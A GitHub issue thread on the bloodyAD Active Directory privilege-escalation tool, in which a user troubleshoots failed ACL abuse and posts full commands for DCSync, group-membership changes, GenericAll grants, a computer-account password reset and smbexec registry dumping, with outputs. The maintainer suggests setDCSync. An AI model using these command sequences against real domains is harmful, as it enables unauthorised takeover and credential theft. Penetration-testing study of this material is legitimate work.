CravateRouge / bloodyAD

BloodyAD is an Active Directory Privilege Escalation Framework

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Permission Issues and Constraint Errors even with Bloodhound saying its vuln

albfflk opened this issue · comments

Hello CravateRouge

Happy new year and congratulations for your super b tool.

It's my first time trying to exploit a Windows Domain ACL issue, I found your tool linked in a blogpost from DCSync, I discovered bloodyAD and acltoolkit with this blogpost. Well, I failed miserable trying to exploit it, I will be very helpful if you could provide some insights. My case is like the one below (obtained via bloodhound - if you think it helps, I can upload images anywhere or send to your email if you prefer), looks like two paths exist from MyUser to DomainAdmins via ACL issues.

PATH 1: MyUser <---> Group1 <---> Group2 <---> (GenericAll) <---> MyDomain <---> (contains) Users Privileged Group <----> Domain Admin

PATH 2: MyUser <---> Group1 <---> Group2 <---> (AddMember) <---> Enterprise Key Accounts <---> (GenericALL)Users Privileged Group <----> Domain Admin

I'm using output from the 3 tools, I hope that you don't mind, I wanted to make sure it was not an specific issue of a specific tool.

My first try as a dumb guy was to use DCSync from the blog post and I failed miserable.

└─$ python3 DCSync.py -dc dcname.Mydomain -t "CN=muser,OU=Users,OU=London,OU=MyCompany,DC=Mydomain,DC=INT" Mydomain\\muser:'mypass'
Impacket v0.10.1.dev1+20221214.172823.8799a1a2 - Copyright 2022 Fortra

[*] Starting DCSync Attack against CN=muser,OU=Users,OU=London,OU=MyCompany,DC=Mydomain,DC=INT
[*] Initializing LDAP connection to dcname.Mydomain
[*] Using Mydomain\muser account with password ***
[*] LDAP bind OK
[*] Initializing domainDumper()
[*] Initializing LDAPAttack()
[*] Querying domain security descriptor
[-] Error when updating ACL: {'result': 50, 'description': 'insufficientAccessRights', 'dn': '', 'message': '00000005: SecErr: DSID-03152DB2, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0\n\x00', 'referrals': None, 'type': 'modifyResponse'}

It says that I don't have privilege, my guess was that I had to follow PATH2 for example and add MyUser to Enterprise Key Accounts or give GenericAll to Users Privileged Group and than DCSync, but I also failed miserable.

└─$ acltoolkit Mydomain/myuser:'mypass'@192.168.1.31 -debug -scheme ldap add-groupmember -user muser2 -group Enterprise Key Accounts

[+] Connecting to LDAP at '192.168.1.31' (192.168.1.31)
[+] Connected to 192.168.1.31, port 389, SSL False
[*] Will add CN=muser2,OU=Users,OU=London,OU=MyCompany,DC=Mydomain,DC=int to CN=Enterprise Key Accounts ,OU=Admin Groups,OU=Management,OU=MyCompany,DC=Mydomain,DC=int group
Traceback (most recent call last):
  File "/home/kali/.local/bin//acltoolkit", line 8, in <module>
    sys.exit(main())
  File "/home/kali/.local/lib/python3.10/site-packages/acltoolkit/entry.py", line 207, in main
    add_groupmember(options)
  File "/home/kali/.local/lib/python3.10/site-packages/acltoolkit/add_groupmember.py", line 88, in add_groupmember
    g.run()
  File "/home/kali/.local/lib/python3.10/site-packages/acltoolkit/add_groupmember.py", line 38, in run
    raise Exception('Could not modify object, the server reports insufficient rights: %s', ret['message'])
Exception: ('Could not modify object, the server reports insufficient rights: %s', '00002098: SecErr: DSID-031514A0, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0\n\x00')

It says that I have no privilege at all, however bloodhound told that I could AddMember, I was thinking if Bloodhound could have interpreted it wrong, but I guess the error is me. Any advice here?

I moved to give GenericAll to the Privileged group and this time the error was different in both tools which called my attention

└─$ python3 bloodyAD.py -d Mydomain -u muser -p 'mypass' --host 192.168.1.31 setGenericAll S-1-5-21-1908570442-2185358661-9027324241-2102 S-1-5-21-1908570442-2185358661-9027324241-128064

[*] S-1-5-21-1908570442-2185358661-9027324241-2102 SID is: S-1-5-21-1908570442-2185358661-9027324241-2102
Traceback (most recent call last):
  File "/home/kali/bloodyAD/bloodyAD.py", line 5, in <module>
    main.main()
  File "/home/kali/bloodyAD/bloodyAD/main.py", line 132, in main
    args.func(conn, **params)
  File "/home/kali/bloodyAD/bloodyAD/modules.py", line 334, in setGenericAll
    setAttr(conn, target, ldap_attribute, [new_sd.getData()], control_flag)
  File "/home/kali/bloodyAD/bloodyAD/utils.py", line 155, in setAttr
    ldap_conn.modify(dn, {attribute: [ldap3.MODIFY_REPLACE, value]}, controls)
  File "/usr/lib/python3/dist-packages/ldap3/core/connection.py", line 1150, in modify
    response = self.post_send_single_response(self.send('modifyRequest', request, controls))
  File "/usr/lib/python3/dist-packages/ldap3/strategy/sync.py", line 160, in post_send_single_response
    responses, result = self.get_response(message_id)
  File "/usr/lib/python3/dist-packages/ldap3/strategy/base.py", line 403, in get_response
    raise LDAPOperationResult(result=result['result'], description=result['description'], dn=result['dn'], message=result['message'], response_type=result['type'])
ldap3.core.exceptions.LDAPInsufficientAccessRightsResult: LDAPInsufficientAccessRightsResult - 50 - insufficientAccessRights - None - 00000005: SecErr: DSID-03152DB2, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0
 - modifyResponse - None
─$ acltoolkit Mydomain/muser:'mypass'@192.168.1.31 -debug -scheme ldap give-genericall -target-sid S-1-5-21-1908570442-2185358661-9027324241-2102 -granted-sid  S-1-5-21-1908570442-2185358661-9027324241-128064
[+] Connecting to LDAP at '192.168.1.31' (192.168.1.31)
[+] Connected to 192.168.1.31, port 389, SSL False
[*] Find target object: CN=_svcSccmWks,OU=Contas de Servico,OU=Contas de Infraestrutura,OU=Management,OU=MyCompany,DC=Mydomain,DC=int
[*] Granted object will be: CN=muser2,OU=Users,OU=London,OU=MyCompany,DC=Mydomain,DC=int
Traceback (most recent call last):
  File "/home/kali/.local/bin//acltoolkit", line 8, in <module>
    sys.exit(main())
  File "/home/kali/.local/lib/python3.10/site-packages/acltoolkit/entry.py", line 203, in main
    give_genericall(options)
  File "/home/kali/.local/lib/python3.10/site-packages/acltoolkit/give_genericall.py", line 114, in give_genericall
    g.run()
  File "/home/kali/.local/lib/python3.10/site-packages/acltoolkit/give_genericall.py", line 46, in run
    raise Exception('Could not modify object, the server reports a constrained violation: %s', ret['message'])
Exception: ('Could not modify object, the server reports a constrained violation: %s', '0000051B: AtrErr: DSID-030F2312, #1:\n\t0: 0000051B: DSID-030F2312, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 20119 (nTSecurityDescriptor)\n\x00')

Where -target-sid is the value of "Users Privileged Group" and -granted-sid is the SID of Myuser.

One thing that called my attention is that the errors are different from both tools. Curious, not?

Have you seen this before? I searched at Google and it says in some forums that the error from the second tool could be privilege missing (similar to the error of the first tool) and others some crazy stuff about CN / DN names. Any guess?

I was curious if Bloodhound got data wrong, so I used these awesome tools to see the privilege of Myuser and it display the following.

└─$ acltoolkit Mydomain/muser:'mypass'@192.168.1.31 -debug -scheme ldap  get-objectacl  
[+] Connecting to LDAP at '192.168.1.31' (192.168.1.31)
[+] Connected to 192.168.1.31, port 389, SSL False
Sid                 : S-1-5-21-1908570442-2185358661-9027324241-112468
Name                : Mydomain\muser
DN                  : CN=muser,OU=Users,OU=London,OU=Mycompany,DC=Mydomain,DC=int
Class               : top, person, organizationalPerson, user
adminCount          : True

The first thing that called my attention was this "adminCount: True". Does it means that the user was supposed to be Admin?

A bunch of information about groups that I'm member and finally the end (that looks interesting to me):

Dacl
  ObjectSid         : S-1-5-21-1908570442-2185358661-9027324241-20452
  Name              : Mydomain\Exchange Servers
  AceType           : ACCESS_ALLOWED_OBJECT_ACE
  AccessMask        : 256
  ADRights          : EXTENDED_RIGHTS
  IsInherited       : False
  ObjectAceType     : DS-Replication-Synchronize

 ObjectSid         : S-1-1-0
  Name              : Everyone
  AceType           : ACCESS_ALLOWED_OBJECT_ACE
  AccessMask        : 256
  ADRights          : EXTENDED_RIGHTS
  IsInherited       : False
  ObjectAceType     : User-Change-Password

  ObjectSid         : S-1-5-10
  Name              : Principal Self
  AceType           : ACCESS_ALLOWED_OBJECT_ACE
  AccessMask        : 256
  ADRights          : EXTENDED_RIGHTS
  IsInherited       : False
  ObjectAceType     : User-Change-Password

  ObjectSid         : S-1-5-10
  Name              : Principal Self
  AceType           : ACCESS_ALLOWED_OBJECT_ACE
  AccessMask        : 304
  ADRights          : EXTENDED_RIGHTS, WRITE_PROPERTY, READ_PROPERTY
  IsInherited       : False
  ObjectAceType     : Private-Information

  ObjectSid         : S-1-5-21-1908570442-2185358661-9027324241-512
  Name              : Mydomain\Domain Admins
  AceType           : ACCESS_ALLOWED_ACE
  AccessMask        : 917951
  ADRights          : WRITE_OWNER, WRITE_DACL, GENERIC_READ, EXTENDED_RIGHTS, WRITE_PROPERTY, SELF, DELETE_CHILD, CREATE_CHILD
  IsInherited       : False

  ObjectSid         : S-1-5-21-1908570442-2185358661-9027324241-519
  Name              : Mydomain\Enterprise Admins
  AceType           : ACCESS_ALLOWED_ACE
  AccessMask        : 917951
  ADRights          : WRITE_OWNER, WRITE_DACL, GENERIC_READ, EXTENDED_RIGHTS, WRITE_PROPERTY, SELF, DELETE_CHILD, CREATE_CHILD
  IsInherited       : False

  ObjectSid         : S-1-5-32-544
  Name              : BUILTIN\Administrator
  AceType           : ACCESS_ALLOWED_ACE
  AccessMask        : 983487
  ADRights          : WRITE_OWNER, WRITE_DACL, GENERIC_READ, DELETE, EXTENDED_RIGHTS, WRITE_PROPERTY, SELF, DELETE_CHILD, CREATE_CHILD
  IsInherited     False

I got a bit confused here, in this case the ADRights is what I should consider? Or the IsInherited as False means that I dont have this priv?

This AccessMask appears weird to me, I was searching about it and found https://learn.microsoft.com/en-us/windows/win32/secauthz/access-mask

But I cant find a value that represent for example 983487, even converting from decimal to hex (983487) it does not match. Do you know any tool or site that may help to convert it properly?

I did with the great bloodyAD as well.

─$ python3 bloodyAD.py -d Mydomain -u muser -p 'mypass' --host 192.168.1.31 getObjectAttributes S-1-5-21-1908570442-2185358661-9027324241-112468
{
    "accountExpires": “xxxxxxx”,
    "adminCount": 1,
    "badPasswordTime": "xxxxxxx”",
    "badPwdCount": 0,
    "cn": "muser",
    "codePage": 0,
    "company": "Company Name",
    "countryCode": 0,
    "dSCorePropagationData": [
        "xxxxxxx"
    ],
    "department": “Some “User,
    "description": [
        “Employee”
    ],
    "displayName": “My “Name,
    "distinguishedName": "CN=muser,OU=Users,OU=London,OU=MyCompany,DC=Mydomain,DC=int",
    "extensionAttribute1": “CompanyName”,
    "extensionAttribute10": "xxxxxxx”",
    "extensionAttribute11": "xxxxxxx”",
    "extensionAttribute12": "xxxxxxx”",
    "extensionAttribute13": "xxxxxxx”",
    "extensionAttribute14": "xxxxxxx”,
    "extensionAttribute3": "xxxxxxx”",
    "extensionAttribute4": "xxxxxxx”",
    Bunch of stuff not related…   


    "mS-DS-ConsistencyGuid": {
        "encoded": “Base64 data=",
        "encoding": "base64"
    },
    "mail": "gxxxxxxx”",
    "mailNickname": "muser",
    "manager": "CN=mymanagerName,OU=Users,OU=London,OU=MyCompany,DC=Mydomain,DC=int",
    "memberOf": [
        “A “lot of groups”
    ],
    "msDS-ExternalDirectoryObjectId": "User_ID”,
    "msDS-KeyCredentialLink": [
        “Long numbers - ID?”
    ],
    "msExchArchiveGUID": {
        "encoded": “base”64,
        "encoding": "base64"
    },
    "msExchArchiveName": [
        "Personal Archive - xxxxxxx”"
    ],
    Stuff about exchange….
    ],
    "msExchUserAccountControl": 0,
    "msExchUserHoldPolicies": [
        “Hexa”
    ],
    "msExchVersion": Numbers,
    "msExchWhenMailboxCreated": “Date”,
    "nTSecurityDescriptor": {
        "Owner": "Domain Admins"
    },
    "name": "muser",
    "objectCategory": "CN=Person,CN=Schema,CN=Configuration,DC=Mydomain,DC=int",
    "objectClass": [
        "top",
        "person",
        "organizationalPerson",
        "user"
    ],
    "objectGUID": “{GID}”,
    "objectSid": “My”SID,
    "pager": "muser",
   Other useless data…

I tried set-objectowner and a lot of other combinations, all with the same errors.

This thing of ACE and ACL is a bit obscure to me yet, just to try learn I got another user and this one was very different and a few things called my attention while enumerating objects and privileges...

└─$ acltoolkit mydomain/muser:'Mypass'@192.168.1.31 -debug -scheme ldap get-objectacl
[+] Connecting to LDAP at '192.168.1.31' (192.168.1.31)
[+] Connected to 192.168.1.31, port 389, SSL False
Sid                 : S-1-5-21-1908570442-2185358661-9027324241-110446
Name                : Mydomain\muser
DN                  : CN=muser,OU=Users,OU=London,OU=Mcompany,DC=Mydomain,DC=int
Class               : top, person, organizationalPerson, user
adminCount          : False

First thing, adminCount is False, which is different from my previous user. However below it gets curious

The DS-Replication-Synchronize does not show up. Normal? Is it expected?

However on the DACL part it says:

ObjectSid         : S-1-5-21-1908570442-2185358661-9027324241-512
  Name              : Mydomain\Domain Admins
  AceType           : ACCESS_ALLOWED_ACE
  AccessMask        : 983551
  ADRights          : GENERIC_ALL
  IsInherited       : False

It says GENERIC_ALL, and for enterprise admins also GENERIC_ALL and IsInherited true this time (come from a groups that this member belongs I guess).

  ObjectSid         : S-1-5-21-1908570442-2185358661-9027324241-519
  Name              : Mydomain\Enterprise Admins
  AceType           : ACCESS_ALLOWED_ACE
  AccessMask        : 983551
  ADRights          : GENERIC_ALL
  IsInherited       : True

If I try DCsync or for example set GenericAll I get the same error as before, saying INSUFF_ACCESS_RIGHTS...

I tried all kind of stuff, even the ones that are not supposed to work! LOL

└─$ python3 bloodyAD.py -d Mydomain -u muser -p 'mypass' --host 192.168.1.31 addUser NewUser TestPass123
Traceback (most recent call last):
  File "/home/kali/bloodyAD/bloodyAD.py", line 5, in <module>
    main.main()
  File "/home/kali/bloodyAD/bloodyAD/main.py", line 132, in main
    args.func(conn, **params)
  File "/home/kali/bloodyAD/bloodyAD/modules.py", line 107, in addUser
    ldap_conn.add(user_dn, attributes=attr)
  File "/usr/lib/python3/dist-packages/ldap3/core/connection.py", line 1013, in add
    response = self.post_send_single_response(self.send('addRequest', request, controls))
  File "/usr/lib/python3/dist-packages/ldap3/strategy/sync.py", line 160, in post_send_single_response
    responses, result = self.get_response(message_id)
  File "/usr/lib/python3/dist-packages/ldap3/strategy/base.py", line 403, in get_response
    raise LDAPOperationResult(result=result['result'], description=result['description'], dn=result['dn'], message=result['message'], response_type=result['type'])
ldap3.core.exceptions.LDAPInsufficientAccessRightsResult: LDAPInsufficientAccessRightsResult - 50 - insufficientAccessRights - None - 00000005: SecErr: DSID-03152DB2, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0
 - addResponse - None

Sorry for long post

PATH1 sounds good. See genericall abuse info. If "Myuser" is memberof Group1 and Group1 members are members of Group2 and Group2 has GenericAll on Domain you can use bloodyAD setDCSync. If it doesn't work, could you give me the output for bloodyAD getObjectAttributes 'DomainDN' nTSecurityDescriptor True ? You should see DS-Replication-Get-Changes as well as DS-Replication-Get-Changes-All rights

Thanks for your answer, it ended up that the path was not valid, not sure if someone changes the ACLs... but I got a new dump and it gone. I tried again and found another path, like this:

Muser (user) <---> (GenericAll) SQLSrv2022

SQLSrv2022 (192.168.1.10) is not domain admin but it a server and DC IP is 192.168.1.31, I confirmed that you tool worked.

─$ python3 bloodyAD.py -d company -u MUser -p Passw0Rd --host 192.168.1.31 setGenericAll S-1-5-21-1504728495-0493274895-4372345346-36233  S-1-5-21-1504728495-0493274895-4372345346-9032
[*] S-1-5-21-1504728495-0493274895-4372345346-36233 SID is: S-1-5-21-1504728495-0493274895-4372345346-36233
[!] This right already exists
[+] nTSecurityDescriptor set successfully
[+] S-1-5-21-1504728495-0493274895-4372345346-36233 has now GenericAll on S-1-5-21-1504728495-0493274895-4372345346-9032                                                                                                                                                         

└─$ python3 bloodyAD.py -d company -u MUser -p Passw0Rd --host 192.168.1.31 changePassword 'SQLSrv2022$' Passw0Rd                        
[+] Password changed successfully!                                                                                                                                                  
                                                                                                                                                                       
┌──(kali㉿Nkali)-[~/bloodyAD]
└─$ python3 bloodyAD.py -d company -u MUser -p Passw0Rd --host 192.168.1.31 changePassword S-1-5-21-1504728495-0493274895-4372345346-9032  Passw0Rd 
[+] Password changed successfully!

I was expecting to be able to change computer account (SQLSrv2022$) password and take control of the machine, it says that password was changed, but do not authenticate.


$ python3 smbexec.py company/'SQLSrv2022$':Passw0Rd@192.168.1.10 query -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA -s   
Impacket v0.10.1.dev1+20221214.172823.8799a1a2 - Copyright 2022 Fortra

[-] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)


$ python3 smbexec.py SQLSrv2022/'SQLSrv2022$':Passw0Rd@192.168.1.10 query -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA -s   
Impacket v0.10.1.dev1+20221214.172823.8799a1a2 - Copyright 2022 Fortra

[-] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)


$ python3 smbexec.py 'SQLSrv2022$':Passw0Rd@192.168.1.10 query -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA -s   
Impacket v0.10.1.dev1+20221214.172823.8799a1a2 - Copyright 2022 Fortra

[-] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)

Do you know why it says the password was changed if the auth failed?

I was reading the great link that you sent and GenericAll on computers appears to be a bit limited. In my case no LAPS on this server, reset password account of the machines doesnt appear to work.

Do you know any tool that allows to apply the resource based constraint delegation from a linux box? I guess that your tool allows to add a new computer name and define a value for msds-allowedtoactonbehalfofotheridentity, but not sure about the other parts.

Do you know any other attack in such cases?

BTW, do you know any project that allows to easily setup a domain environment vulnerable to test and learn such kind of attacks?

Not big deal, but maybe you are interested...I gave a try at your autobloody and got this error on last Kali version.

[*] Connection to Neo4j
[*] No proxy detected
Traceback (most recent call last):
  File "/home/kali/autobloody/autobloody.py", line 6, in <module>
    main.main()
  File "/home/kali/autobloody/autobloody/main.py", line 31, in main
    path_dict = pathgen(args)
  File "/home/kali/autobloody/autobloody/main.py", line 50, in pathgen
    db = database.Database(args.dburi, args.dbuser, args.dbpassword)
  File "/home/kali/autobloody/autobloody/database.py", line 9, in __init__
    self._prepareDb()
  File "/home/kali/autobloody/autobloody/database.py", line 22, in _prepareDb
    session.write_transaction(self._createGraph)
  File "/home/kali/.local/lib/python3.10/site-packages/neo4j/_meta.py", line 82, in inner
    return f(*args, **kwargs)
  File "/home/kali/.local/lib/python3.10/site-packages/neo4j/_sync/work/session.py", line 705, in write_transaction
    return self._run_transaction(
  File "/home/kali/.local/lib/python3.10/site-packages/neo4j/_sync/work/session.py", line 487, in _run_transaction
    result = transaction_function(tx, *args, **kwargs)
  File "/home/kali/autobloody/autobloody/database.py", line 64, in _createGraph
    graph_exists = tx.run("RETURN gds.graph.exists('autobloody')").single()[0]
  File "/home/kali/.local/lib/python3.10/site-packages/neo4j/_sync/work/transaction.py", line 156, in run
    result._tx_ready_run(query, parameters)
  File "/home/kali/.local/lib/python3.10/site-packages/neo4j/_sync/work/result.py", line 116, in _tx_ready_run
    self._run(query, parameters, None, None, None, None)
  File "/home/kali/.local/lib/python3.10/site-packages/neo4j/_sync/work/result.py", line 162, in _run
    self._attach()
  File "/home/kali/.local/lib/python3.10/site-packages/neo4j/_sync/work/result.py", line 270, in 

If you want to report issues related to autobloody please do it on the autobloody github repo. Also I would need the full error (yours is truncated)